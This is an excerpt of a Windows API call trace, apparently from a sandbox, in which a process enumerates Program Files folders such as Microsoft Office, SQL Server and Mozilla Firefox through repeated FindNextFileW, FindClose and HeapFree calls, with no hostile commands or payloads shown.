	[0173.758] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1
	[0173.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.758] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0173.759] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0173.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.759] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0173.759] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0173.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.759] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0173.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.759] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0173.759] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0173.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.759] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0173.759] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0173.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.759] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0
	[0173.759] FindClose (in: hFindFile=0x76f528 | out: hFindFile=0x76f528) returned 1
	[0173.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0173.762] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1
	[0173.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.766] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0173.767] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0173.767] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0173.767] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0173.767] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.767] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0173.767] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.767] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0173.767] FindClose (in: hFindFile=0x76f268 | out: hFindFile=0x76f268) returned 1
	[0173.767] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.769] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0173.769] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0173.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0173.770] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0174.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0174.644] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0174.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0174.657] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1
	[0174.666] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.666] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1
	[0174.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.668] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1
	[0174.669] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.669] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0
	[0174.669] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.669] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.671] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1
	[0174.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.671] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0174.672] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0174.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.672] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0174.672] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0174.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.672] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0174.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.672] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0174.672] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.672] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0174.672] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0174.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.672] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0174.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.673] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0
	[0174.673] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0174.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.673] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0
	[0174.673] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0174.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0174.673] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0174.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0174.675] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1
	[0174.677] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0174.677] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0174.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.678] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0174.678] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.678] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0
	[0174.678] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0174.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0174.679] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1
	[0174.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.679] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0174.679] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0174.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0174.679] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1
	[0174.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
